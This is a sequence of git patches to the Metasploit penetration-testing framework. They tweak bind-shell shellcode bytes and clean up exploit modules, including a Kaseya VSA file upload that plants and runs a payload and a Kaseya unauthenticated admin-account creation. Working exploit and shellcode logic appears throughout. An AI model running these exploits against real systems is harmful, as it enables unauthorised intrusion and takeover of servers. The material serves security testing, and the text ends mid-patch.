@@ module Metasploit3 "\x52" +# push %rdx # "\x52" +# push %rdx # "\x52" +# push %rdx # - "\x48\xba\x00\x1c\x11" +# mov 0x000000005c110200, # - "\x5c\x00\x00\x00\x00" +# %rdx # + "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # + "\x5a" +# pop %rdx # + "\x89\xd2" +# mov %edx, %edx # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x1c" +# pushq $0x1c # diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 7434fef178..2ece96674b 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -47,7 +47,7 @@ module Metasploit3 "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # "\x5a" +# pop %rdx # "\x89\xd2" +# mov %edx, %edx # - "\x52" +# pushq %rdx # + "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # "\x5a" +# pop %rdx # From 4efb3bf26c00c5ca819fa9856646261b5e917af7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 09:42:35 -0500 Subject: [PATCH 0792/2172] Save 3 more bytes on shell_bind_tcp_small --- modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 2ece96674b..153a923c02 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 91 + CachedSize = 88 include Msf::Payload::Single include Msf::Payload::Bsd @@ -44,9 +44,7 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # - "\x5a" +# pop %rdx # - "\x89\xd2" +# mov %edx, %edx # + "\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # From 77ce7ef5f06fd9dfac3e10fd4bdc65b6f38eb217 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 09:45:02 -0500 Subject: [PATCH 0793/2172] Save 3 more bytes on shell_bind_ipv6_tcp --- modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index ed92ea0a2f..c6a5ff3f38 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 93 + CachedSize = 90 include Msf::Payload::Single include Msf::Payload::Bsd @@ -46,10 +46,8 @@ module Metasploit3 "\x52" +# push %rdx # "\x52" +# push %rdx # "\x52" +# push %rdx # - "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # - "\x5a" +# pop %rdx # - "\x89\xd2" +# mov %edx, %edx # - "\x52" +# push %rdx # + "\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 # + "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x1c" +# pushq $0x1c # "\x5a" +# pop %rdx # From 418374b4b2bb4d1c7b8f8fc3368484eeff21546c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 1 Oct 2015 10:21:31 -0500 Subject: [PATCH 0794/2172] Regex -q --- tools/msu_finder.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 08056d9e03..adc514afa5 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -294,7 +294,7 @@ module MicrosoftPatch # @param keyword [String] The product to look for. # @return [Array] def find_msb_numbers(keyword) - product_list_matches = get_product_dropdown_list.select { |p| /^#{keyword}/ === p[:option_text] } + product_list_matches = get_product_dropdown_list.select { |p| Regexp.new(keyword) === p[:option_text] } if product_list_matches.empty? print_debug("Did not find a match from the product list, attempting a generic search") search_by_keyword(keyword) @@ -573,7 +573,7 @@ module MicrosoftPatch opt.separator '' opt.separator 'Specific options:' - opt.on('-q', '--query ', 'Keyword to search') do |v| + opt.on('-q', '--query ', 'Regex keyword to search') do |v| options[:keyword] = v end @@ -588,7 +588,7 @@ module MicrosoftPatch end end - opt.on('-r', '--regex ', '(Optional) Search filter') do |v| + opt.on('-r', '--regex ', '(Optional) Regex download links') do |v| options[:regex] = v end From 5c5f3a4e7f40b5f938561f690dd300dde1ad973b Mon Sep 17 00:00:00 2001 From: JT Date: Thu, 1 Oct 2015 23:39:36 +0800 Subject: [PATCH 0795/2172] Update zemra_panel_rce.rb called http_send_command right away :) --- modules/exploits/multi/http/zemra_panel_rce.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index e4b9367e66..24dec1575f 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -59,15 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check txt = Rex::Text.rand_text_alpha(8) - uri = normalize_uri(target_uri.path.to_s) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => uri, - 'vars_get' => - { - 'cmd' => txt - } - }) + http_send_command(txt) if res && res.body =~ /cmd/ return Exploit::CheckCode::Vulnerable end From eb751822d8c603a397389e35414f7797cfec9bb7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 1 Oct 2015 10:58:15 -0500 Subject: [PATCH 0796/2172] Remove dead option in db_export --- lib/msf/ui/console/command_dispatcher/db.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 1db20e3aee..2721d9e7f1 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1777,7 +1777,7 @@ class Db case arg when '-h','--help' print_line "Usage:" - print_line " db_export -f [-a] [filename]" + print_line " db_export -f [filename]" print_line " Format can be one of: #{export_formats.join(", ")}" when '-f','--format' format = args.shift.to_s.downcase From 2802b3ca43bb11f93fad7601dbd9eb59bfd587a6 Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 2 Oct 2015 00:00:30 +0800 Subject: [PATCH 0797/2172] Update zemra_panel_rce.rb sticking res --- modules/exploits/multi/http/zemra_panel_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index 24dec1575f..72520f63e2 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -79,6 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end + return res end def exploit From 195418b2622df51e2402b0db7be1394dc8583e21 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 11:22:59 -0500 Subject: [PATCH 0798/2172] Update the sin_family on bind_tcp_small --- modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 153a923c02..42d73b51f2 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -44,7 +44,7 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 # + "\xba\x00\x02\x11\x5C" +# mov edx,0x5c111c00 # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # From 41cf0ef676018950225fb2700867bf59d2accfa1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Hans-Martin=20M=C3=BCnch=20=28h0ng10=29?= Date: Thu, 1 Oct 2015 18:43:21 +0200 Subject: [PATCH 0799/2172] Add reference for CVE-2015-2342 - VMWare VCenter JMX RMI RCE --- modules/exploits/multi/misc/java_jmx_server.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 08d8ff79de..2e41ea0c43 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], - ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] + ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'], + [ 'CVE', '2015-2342' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, From aa01383361b46da86b713a6f0220408e0752c617 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 11:51:45 -0500 Subject: [PATCH 0800/2172] Fix comment --- modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 42d73b51f2..8d92cadcb6 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -44,7 +44,7 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\xba\x00\x02\x11\x5C" +# mov edx,0x5c111c00 # + "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 # "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # From 30101153fa0355be31f83a1a3ca7c0dbc4d301a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Hans-Martin=20M=C3=BCnch=20=28h0ng10=29?= Date: Thu, 1 Oct 2015 18:56:37 +0200 Subject: [PATCH 0801/2172] Remove spaces --- modules/exploits/multi/misc/java_jmx_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 2e41ea0c43..dbc2a782f4 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'], - [ 'CVE', '2015-2342' ] + ['CVE', '2015-2342'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, From f9a9a45cf8c2e82930493c10fcdeea1b45a08f0d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 13:20:40 -0500 Subject: [PATCH 0802/2172] Do code cleanup --- .../exploits/windows/http/kaseya_uploader.rb | 104 ++++++++++-------- 1 file changed, 56 insertions(+), 48 deletions(-) diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb index ae5fc2eb02..a3c0b7f4cc 100644 --- a/modules/exploits/windows/http/kaseya_uploader.rb +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -16,11 +16,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload', 'Description' => %q{ -This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between -7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory -leading to arbitrary code execution with IUSR privileges. This module has been tested with -Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. -}, + This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions + between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary + directory leading to arbitrary code execution with IUSR privileges. This module has been + tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. + }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module @@ -50,29 +50,31 @@ Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. 'method' => 'GET', 'uri' => normalize_uri('ConfigTab','uploader.aspx') }) - if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ - return Exploit::CheckCode::Appears + + if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end - def upload_file(payload, path, filename, sessionId) + def upload_file(payload, path, filename, session_id) print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...") + res = send_request_cgi({ - "method" => "POST", - 'uri' => normalize_uri('ConfigTab','uploader.aspx'), - "vars_get" => { - "PathData" => path + 'WebPages' + '\\', - "qqfile" => filename + 'method' => 'POST', + 'uri' => normalize_uri('ConfigTab', 'uploader.aspx'), + 'vars_get' => { + 'PathData' => path + 'WebPages' + '\\', + 'qqfile' => filename }, - "data" => payload, - "ctype" => "application/octet-stream", - "cookie" => "sessionId=" + sessionId + 'data' => payload, + 'ctype' => 'application/octet-stream', + 'cookie' => 'sessionId=' + session_id }) - if res and res.code == 200 and res.body.to_s =~ /"success": "true"/ + if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"') return true else return false @@ -85,40 +87,46 @@ Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. 'method' => 'GET', 'uri' => normalize_uri('ConfigTab','uploader.aspx') }) - if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ - sessionId = $1 - asp_name = "#{rand_text_alpha_lower(8)}.asp" - exe = generate_payload_exe - payload = Msf::Util::EXE.to_exe_asp(exe).to_s - - paths = [ - # We have to guess the path, so just try the most common directories - 'C:\\Kaseya\\', - 'C:\\Program Files\\Kaseya\\', - 'C:\\Program Files (x86)\\Kaseya\\', - 'D:\\Kaseya\\', - 'D:\\Program Files\\Kaseya\\', - 'D:\\Program Files (x86)\\Kaseya\\', - 'E:\\Kaseya\\', - 'E:\\Program Files\\Kaseya\\', - 'E:\\Program Files (x86)\\Kaseya\\', - ] - - for path in paths - if upload_file(payload, path, asp_name, sessionId) - register_files_for_cleanup(path + "WebPages\\" + asp_name) - print_status("#{peer} - Executing payload #{asp_name}") - res = send_request_cgi({ - 'uri' => normalize_uri(asp_name), - 'method' => 'GET' - }) - handler - break - end - end + if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ + session_id = $1 else fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session") end + + asp_name = "#{rand_text_alpha_lower(8)}.asp" + exe = generate_payload_exe + payload = Msf::Util::EXE.to_exe_asp(exe).to_s + + paths = [ + # We have to guess the path, so just try the most common directories + 'C:\\Kaseya\\', + 'C:\\Program Files\\Kaseya\\', + 'C:\\Program Files (x86)\\Kaseya\\', + 'D:\\Kaseya\\', + 'D:\\Program Files\\Kaseya\\', + 'D:\\Program Files (x86)\\Kaseya\\', + 'E:\\Kaseya\\', + 'E:\\Program Files\\Kaseya\\', + 'E:\\Program Files (x86)\\Kaseya\\', + ] + + paths.each do |path| + if upload_file(payload, path, asp_name, session_id) + register_files_for_cleanup(path + "WebPages\\" + asp_name) + print_status("#{peer} - Executing payload #{asp_name}") + + send_request_cgi({ + 'uri' => normalize_uri(asp_name), + 'method' => 'GET' + }) + + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end + end end From a88a6c55804d00b3cfea9364bf26f92b3bff6bd4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 13:22:56 -0500 Subject: [PATCH 0803/2172] Add WebPges to the paths --- .../exploits/windows/http/kaseya_uploader.rb | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb index a3c0b7f4cc..8f03ed2b1a 100644 --- a/modules/exploits/windows/http/kaseya_uploader.rb +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -60,13 +60,13 @@ class Metasploit3 < Msf::Exploit::Remote def upload_file(payload, path, filename, session_id) - print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...") + print_status("#{peer} - Uploading payload to #{path}...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('ConfigTab', 'uploader.aspx'), 'vars_get' => { - 'PathData' => path + 'WebPages' + '\\', + 'PathData' => path, 'qqfile' => filename }, 'data' => payload, @@ -100,20 +100,20 @@ class Metasploit3 < Msf::Exploit::Remote paths = [ # We have to guess the path, so just try the most common directories - 'C:\\Kaseya\\', - 'C:\\Program Files\\Kaseya\\', - 'C:\\Program Files (x86)\\Kaseya\\', - 'D:\\Kaseya\\', - 'D:\\Program Files\\Kaseya\\', - 'D:\\Program Files (x86)\\Kaseya\\', - 'E:\\Kaseya\\', - 'E:\\Program Files\\Kaseya\\', - 'E:\\Program Files (x86)\\Kaseya\\', + 'C:\\Kaseya\\WebPages\\', + 'C:\\Program Files\\Kaseya\\WebPages\\', + 'C:\\Program Files (x86)\\Kaseya\\WebPages\\', + 'D:\\Kaseya\\WebPages\\', + 'D:\\Program Files\\Kaseya\\WebPages\\', + 'D:\\Program Files (x86)\\Kaseya\\WebPages\\', + 'E:\\Kaseya\\WebPages\\', + 'E:\\Program Files\\Kaseya\\WebPages\\', + 'E:\\Program Files (x86)\\Kaseya\\WebPages\\', ] paths.each do |path| if upload_file(payload, path, asp_name, session_id) - register_files_for_cleanup(path + "WebPages\\" + asp_name) + register_files_for_cleanup(path + asp_name) print_status("#{peer} - Executing payload #{asp_name}") send_request_cgi({ From 1b21cd94814cbb2c9b8434b553a74d423819beea Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 13:37:18 -0500 Subject: [PATCH 0804/2172] Do code cleanup --- .../admin/http/kaseya_master_admin.rb | 124 +++++++++--------- 1 file changed, 64 insertions(+), 60 deletions(-) diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb index 92bdf0e2e9..08e6648934 100644 --- a/modules/auxiliary/admin/http/kaseya_master_admin.rb +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Kaseya VSA Master Administrator Account Creation', 'Description' => %q{ -This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new -Master Administrator account. Normally this page is only accessible via the localhost -interface, but the application does nothing to prevent this apart from attempting to -force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and -v9.0.0.3. -}, + This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new + Master Administrator account. Normally this page is only accessible via the localhost + interface, but the application does nothing to prevent this apart from attempting to + force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and + v9.0.0.3. + }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module @@ -27,18 +27,18 @@ v9.0.0.3. 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2015-6922' ], - [ 'ZDI', '15-448' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ], - [ 'URL', 'TODO_FULLDISC_URL' ] + ['CVE', '2015-6922'], + ['ZDI', '15-448'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], + ['URL', 'TODO_FULLDISC_URL'] ], 'DisclosureDate' => 'Sep 23 2015')) register_options( [ - OptString.new('TARGETURI', [ true, "The Kaseya VSA URI", '/']), - OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), - OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']), + OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']), + OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) ], self.class) end @@ -46,58 +46,62 @@ v9.0.0.3. def run res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"), + 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), 'method' =>'GET', }) - if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ - sessionVal = $1 - print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account") - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"), - 'method' =>'POST', - 'vars_post' => { - "sessionVal" => sessionVal, - "adminName" => datastore['USERNAME'], - "NewPassword" => datastore['PASSWORD'], - "confirm" => datastore['PASSWORD'], - "adminEmail" => datastore['EMAIL'], - "setAccount" => "Create" - } - }) - - if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/ - print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created") - service_data = { - address: rhost, - port: rport, - service_name: (ssl ? 'https' : 'http'), - protocol: 'tcp', - workspace_id: myworkspace_id - } - credential_data = { - origin_type: :service, - module_fullname: self.fullname, - private_type: :password, - private_data: datastore['PASSWORD'], - username: datastore['USERNAME'] - } - - credential_data.merge!(service_data) - credential_core = create_credential(credential_data) - login_data = { - core: credential_core, - access_level: 'Master Administrator', - status: Metasploit::Model::Login::Status::UNTRIED - } - login_data.merge!(service_data) - create_credential_login(login_data) - else - print_error("#{peer} - Master Administrator account creation failed") - end + if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ + session_val = $1 else print_error("#{peer} - Failed to get sessionVal") + return end + + print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), + 'method' =>'POST', + 'vars_post' => { + 'sessionVal' => session_val, + 'adminName' => datastore['KASEYA_USER'], + 'NewPassword' => datastore['KASEYA_PASS'], + 'confirm' => datastore['KASEYA_PASS'], + 'adminEmail' => datastore['EMAIL'], + 'setAccount' => 'Create' + } + }) + + unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp') + print_error("#{peer} - Master Administrator account creation failed") + return + end + + print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['KASEYA_PASS'], + username: datastore['KASEYA_USER'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Master Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end From 0b9e4b33edb08008c5fbde2f4a31804c78eace2d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 1 Oct 2015 14:11:29 -0500 Subject: [PATCH 0805/2172] update spec to ignore -a --- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index dc1f75f6b6..97955a95f4 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -321,7 +321,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_db_export "-h" @output.should =~ [ "Usage:", - " db_export -f [-a] [filename]", + " db_export -f [filename]", " Format can be one of: xml, pwdump" ] end From 501325d9f40d1dd1e82434ca75871d3c9e395800 Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 2 Oct 2015 06:48:34 +0800 Subject: [PATCH 0806/2172] Update zemra_panel_rce.rb --- modules/exploits/multi/http/zemra_panel_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index 72520f63e2..d00be6cd6b 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end - return res + res end def exploit From fa1391de87d8f26a0833aa469a12481dbb08270b Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 2 Oct 2015 07:53:15 +0800 Subject: [PATCH 0807/2172] Update simple_backdoors_exec.rb Updating the code as suggested --- modules/exploits/multi/http/simple_backdoors_exec.rb | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 661ff102a5..59594617ab 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -58,14 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check test = Rex::Text.rand_text_alpha(8) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), - 'vars_get' => - { - 'cmd' => test - } - }) + http_send_command(test) if res && res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable end @@ -80,9 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => cmd } }) - if !res && res.code == 200 + unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end + res end def exploit From fe4fdb1e4895016ec0f4fccbbc9a1985d96fdb2f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 1 Oct 2015 20:38:39 -0400 Subject: [PATCH 0808/2172] Add YARD documentation to the requests plugin --- plugins/request.rb | 96 +++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 91 insertions(+), 5 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index de5c720a49..34c09f217c 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -19,12 +19,19 @@ class Plugin::Requests < Msf::Plugin } end + # Dynamically determine the types of requests that are supported based on + # methods prefixed with "parse_args". + # + # @return [Array] The supported request types. def types - # dynamically figure out what types are supported based on parse_args_* parse_methods = self.public_methods.select {|m| m.to_s =~ /^parse_args_/} parse_methods.collect {|m| m.to_s.split('_').slice(2..-1).join('_')} end + # The main handler for the request command. + # + # @param args [Array] The array of arguments provided by the user. + # @return [nil] def cmd_request(*args) # short circuit the whole deal if they need help return help if args.length == 0 @@ -68,6 +75,14 @@ class Plugin::Requests < Msf::Plugin end end + # Parse the provided arguments by dispatching to the correct method based + # on the specified type. + # + # @param args [Array] The command line arguments to parse. + # @param type [String] The protocol type that the request is for such as + # HTTP. + # @return [Array] An array with the options + # hash and the argument parser. def parse_args(args, type = 'http') type.downcase! parse_method = "parse_args_#{type}".to_sym @@ -78,13 +93,23 @@ class Plugin::Requests < Msf::Plugin end end - # arg parsing for requests of type 'http' + # Parse the provided arguments for making HTTPS requests. + # + # @param args [Array] The command line arguments to parse. + # @param type [String] The protocol type that the request is for. + # @return [Array] An array with the options + # hash and the argument parser. def parse_args_https(args = [], type = 'https') # just let http do it parse_args_http(args, type) end - # arg parsing for requests of type 'http' + # Parse the provided arguments for making HTTP requests. + # + # @param args [Array] The command line arguments to parse. + # @param type [String] The protocol type that the request is for. + # @return [Array, Rex::Parser::Arguments>] An array with the options + # hash and the argument parser. def parse_args_http(args = [], type = 'http') opt_parser = Rex::Parser::Arguments.new( '-0' => [ false, 'Use HTTP 1.0' ], @@ -171,13 +196,61 @@ class Plugin::Requests < Msf::Plugin [options, opt_parser] end - # handling for requests of type 'https' + # Perform an HTTPS request based on the user specifed options. + # + # @param opts [Hash] The options to use for making the HTTPS request. + # @option opts [String] :auth_username An optional username to use with + # basic authentication. + # @option opts [String] :auth_password An 